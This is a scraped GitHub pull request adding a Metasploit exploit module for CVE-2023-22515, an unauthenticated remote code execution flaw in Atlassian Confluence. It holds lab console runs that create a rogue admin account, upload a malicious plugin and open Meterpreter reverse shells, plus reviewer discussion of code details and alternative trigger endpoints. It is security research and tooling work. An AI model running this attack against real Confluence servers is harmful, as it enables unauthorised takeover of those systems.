CVE-2023-22515 - Atlassian Confluence unauthenticated RCE exploit module #18461

sfewer-r7 · 2023-10-16T19:53:45Z

This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
Java objects to be modified at run time. The exploit will create a new administrator user and upload a
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.

For a full technical analysis of the vulnerability read the Rapid7 AttackerKB Analysis.

msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Atlassian Confluence 8.5.1
[*] Setting the application configuration's setupComplete to false via endpoint: /server-info.action
[*] Creating a new administrator user account...
[*] Created zskghlfv:NDqbcj4N
[*] Adding a malicious plugin...
[*] Waiting for plugin to be installed...
[*] Triggering payload...
[*] Deleting plugin...
[*] Sending stage (57692 bytes) to 192.168.86.50
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:56898) at 2023-10-16 20:41:57 +0100

meterpreter > getuid
Server username: WIN-V28QNSO2H05$
meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows Server 2022 10.0 (amd64)
Architecture    : x64
System Language : en_IE
Meterpreter     : java/windows
meterpreter > pwd
C:\Program Files\Atlassian\Confluence
meterpreter >

jvoisin

There was already a pull-request for this exploit: #18447 :/

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

jvoisin · 2023-10-16T22:18:20Z

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

+        # Confluence may have a non default base path, allow user to configure that here.
+        OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),
+        # The endpoint we target to trigger the vulnerability.
+        OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),


Are there other possible endpoints?

Yes, due to the nature of the vuln there are likely numerous endpoints that can be targeted, for example:

msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > set CONFLUENCE_TARGET_ENDPOINT /ajax/spaceavailable.action CONFLUENCE_TARGET_ENDPOINT => /ajax/spaceavailable.action msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. [*] Setting the application configuration's setupComplete to false via endpoint: /ajax/spaceavailable.action [*] Creating a new administrator user account... [*] Created fuhghwol:I2WHP3At [*] Adding a malicious plugin... [*] Waiting for plugin to be installed... [*] Triggering payload... [*] Deleting plugin... [*] Sending stage (57692 bytes) to 192.168.86.50 [*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.50:62207) at 2023-10-17 09:12:53 +0100 meterpreter > getuid Server username: WIN-V28QNSO2H05$ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.86.50 - Meterpreter session 4 closed. Reason: User exit msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) >

It might be nice/interesting to provide a small list of possible ones I think, to make fingerprinting harder.

I added some extra documentation via c63aaba which mentions the other endpoint showed above.

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

jvoisin · 2023-10-16T22:29:20Z

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

+    # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') << '/',


Suggested change

'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') << '/',

'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',

+: Returns the concatenation of self and a given other string.

<<: <<: Returns self concatenated with a given string or integer.

so I guess it's a matter of taste, but I think™ that people are more used to + for string concatenation than <<, especially given that the later is usually used to append a single element to an array.

My understanding is that in Ruby the << operator is faster, and so is the generally the preferred operator to concat two strings. Happy to change this if using + is the best practice.

<< is faster, but also the source of multiple bugs in framework 😄

It also stops us from enabling frozen strings globally, which could help reduce object allocations https://www.mikeperham.com/2018/02/28/ruby-optimization-with-one-magic-comment/

Thanks Alan, sounds like + should be the preferred operator so, I have done this via 34107e4

This comes up every few years, under various guises; and while i'm all for reducing allocations... + actually creates them (or did, anyway - a bit behind on my RubyVM-fu). Using << appends the contents of the right buffer to that on the left (eventually meaning "scatter-gather addition of existing SG buffer" under Linux anyway) whereas + creates a new buffer copying both sides into it and then hopefully deallocating the sources. Up here in Msf it might not be as noticeable, but down in Rex it can get pretty bad if you have a lot of IO and under memory pressure against various forms of GC. Back in the RBX days when VM instrumentation was "cool," we actually saw this effect pretty clearly during my machinations with rex-guts-n-stuff

Would it be worth adding a rubocop/msftidy rule to catch this?

Would it be worth adding a rubocop/msftidy rule to catch this?

Sounds like a great idea to me

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

jvoisin · 2023-10-16T22:35:22Z

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

+      # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as
+      # Confluence doesnt allow a user to delete themself.


Would it be possible for the plugin to delete the admin?

I haven't looked into this option too much, but it looks like there is no command line to interact with Confluence directly. The only way would be to delete the user directly from the database and there is high probability this would result in a corrupted database and break everything.

sfewer-r7 · 2023-10-17T08:09:41Z

There was already a pull-request for this exploit: #18447 :/

Hi @jvoisin , #18447 is for an axillary module (not an exploit) to create a new admin account, whilst this pull request is for an exploit module to run a payload; both leverage the same vuln for different purposes. I don't see a problem having different module types covering the same CVE. Another example of this in the framework is the Adobe ColdFusion vuln CVE-2023-26360, whereby we have an auxiliary module and an exploit module for the same CVE.

…ot use return for this)

sempervictus · 2023-10-17T13:58:39Z

@sfewer-r7 - thanks. Must feel good to finally give some pain back to that accursed thing 😉

Far as the aux and exploit module... this is why we have application and protocol specific mixins IMO. When two modules start doing similar things, that's usually when its time to review their commonalities and extract them to a mixin which also formalizes the datastore options for that context (see AWS module mess for why thats good).

cdelafuente-r7

Thanks @sfewer-r7 for this great module and the related research! I just left a few suggestions, but otherwise, it looks good to me. I tested against version 8.5.1 installed on Windows 11 and it works great.

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22515.md

…tect if the JSON data doesnt have the expected value and fail_with() if needed

… done to be set to true

…ploit class path

cdelafuente-r7 · 2023-10-19T08:22:19Z

Thanks @sfewer-r7 ! Everything looks good to me now. I tested against version 8.5.1 installed on Windows 11 and verified I got a session. I'll go ahead and land it.

Example output

msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > run verbose=true lhost=192.168.100.1 rhosts=192.168.100.33

[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Atlassian Confluence 8.5.1
[*] Setting the application configuration's setupComplete to false via endpoint: /server-info.action
[*] Creating a new administrator user account...
[*] Created dsrrlgaf:x4nq1Ill
[*] Adding a malicious plugin...
[*] Waiting for plugin to be installed...
[*] Sleeping for 2 seconds before attempting again
[*] Sleeping for 4 seconds before attempting again
[*] Triggering payload...
[*] Sending stage (57692 bytes) to 192.168.100.33
[*] Deleting plugin...
[*] Meterpreter session 1 opened (192.168.100.1:4444 -> 192.168.100.33:53043) at 2023-10-19 10:09:34 +0200

meterpreter > getuid
Server username: DESKTOP-26CQRHP$
meterpreter > sysinfo
Computer        : DESKTOP-26CQRHP
OS              : Windows 11 10.0 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/windows

sfewer-r7 · 2023-10-19T08:25:27Z

Thank you @cdelafuente-r7 and @jvoisin for the review, and thanks @adfoster-r7 and @sempervictus for the insights into string concatenation :)

cdelafuente-r7 · 2023-10-19T08:31:33Z

Release Notes

This adds an exploit module that leverages an improper input validation issue in Atlassian Confluence versions between 8.0.0 through to 8.3.2, 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1. This vulnerability is identified as CVE-2023-22515 and allows unauthenticated remote code execution. The module first creates a new administrator by abusing the embedded XWorks2 middleware and uploading a malicious plugin to get code execution. Note that the module is currently not able to delete the new administrator account it created. This would require a manual clean up.

grantwillcoxh3ai · 2023-10-19T19:03:05Z

modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb

+
+        # If we have a Confluence server within the given version ranges, it appears vulnerable.
+        ranges.each do |min, max|
+          if version.between?(Rex::Version.new(min), Rex::Version.new(max))


@stephenfewer Won't this specifically exclude the edge cases such as 8.0.0 and 8.3.2 which are also technically vulnerable? Same for 8.4.0 and 8.4.2, and 8.5.0 and 8.5.1.

Hi @grantwillcoxh3ai, in my testing between? will include the min and max version as part of the range check, so the check routine should work as expected. I was testing against 8.5.1 (one of the edge cases you mention) and the check was successful.

add an RCE exploit for CVE-2023-22515

1c027ac

jvoisin reviewed Oct 16, 2023

View reviewed changes

sfewer-r7 added 10 commits October 17, 2023 09:10

remove whitespace

b97cb9f

clarify timeout is in seconds

3242a70

remove 'localhost' in favor of some random chars

d17f065

typos

4acdaf3

add a note to explain we need to concat a trailing forward slash

d2438ba

typo

9e6e953

fix another typo

54f3344

use next semantics to return from a yielded block early (note we cann…

415bd49

…ot use return for this)

randomize the plugins version number

0fc35bf

favod over for string concatenation.

34107e4

cdelafuente-r7 self-assigned this Oct 17, 2023

cdelafuente-r7 reviewed Oct 17, 2023

View reviewed changes

sfewer-r7 added 4 commits October 18, 2023 09:36

catch a JSON ParserError exception and fail_with() if needed. Also de…

9fdbccb

…tect if the JSON data doesnt have the expected value and fail_with() if needed

no need to test for true, jsut return the value as we are waiting for…

fcffd36

… done to be set to true

set :random to true during generate_jar so we can randomize teh metas…

5e84f57

…ploit class path

add in documentation for Options

c63aaba

cdelafuente-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Oct 19, 2023

cdelafuente-r7 merged commit da9d04d into rapid7:master Oct 19, 2023
35 checks passed

grantwillcoxh3ai reviewed Oct 19, 2023

View reviewed changes

sfewer-r7 deleted the CVE-2023-22515 branch July 4, 2024 08:59

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

CVE-2023-22515 - Atlassian Confluence unauthenticated RCE exploit module #18461

CVE-2023-22515 - Atlassian Confluence unauthenticated RCE exploit module #18461

sfewer-r7 commented Oct 16, 2023

jvoisin left a comment

jvoisin Oct 16, 2023

sfewer-r7 Oct 17, 2023

jvoisin Oct 17, 2023

sfewer-r7 Oct 18, 2023

jvoisin Oct 16, 2023

sfewer-r7 Oct 17, 2023 •

edited

Loading

adfoster-r7 Oct 17, 2023 •

edited

Loading

sfewer-r7 Oct 17, 2023

sempervictus Oct 17, 2023

jvoisin Oct 17, 2023

sfewer-r7 Oct 18, 2023

jvoisin Oct 16, 2023

cdelafuente-r7 Oct 18, 2023

sfewer-r7 commented Oct 17, 2023 •

edited

Loading

sempervictus commented Oct 17, 2023

cdelafuente-r7 left a comment

cdelafuente-r7 commented Oct 19, 2023

sfewer-r7 commented Oct 19, 2023

cdelafuente-r7 commented Oct 19, 2023

grantwillcoxh3ai Oct 19, 2023 •

edited

Loading

sfewer-r7 Oct 19, 2023

	'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') << '/',
	'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',

		# 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as
		# Confluence doesnt allow a user to delete themself.

CVE-2023-22515 - Atlassian Confluence unauthenticated RCE exploit module #18461

CVE-2023-22515 - Atlassian Confluence unauthenticated RCE exploit module #18461

Conversation

sfewer-r7 commented Oct 16, 2023

jvoisin left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

sfewer-r7 Oct 17, 2023 • edited Loading

Choose a reason for hiding this comment

adfoster-r7 Oct 17, 2023 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

sfewer-r7 commented Oct 17, 2023 • edited Loading

sempervictus commented Oct 17, 2023

cdelafuente-r7 left a comment

Choose a reason for hiding this comment

cdelafuente-r7 commented Oct 19, 2023

sfewer-r7 commented Oct 19, 2023

cdelafuente-r7 commented Oct 19, 2023

Release Notes

grantwillcoxh3ai Oct 19, 2023 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

sfewer-r7 Oct 17, 2023 •

edited

Loading

adfoster-r7 Oct 17, 2023 •

edited

Loading

sfewer-r7 commented Oct 17, 2023 •

edited

Loading

grantwillcoxh3ai Oct 19, 2023 •

edited

Loading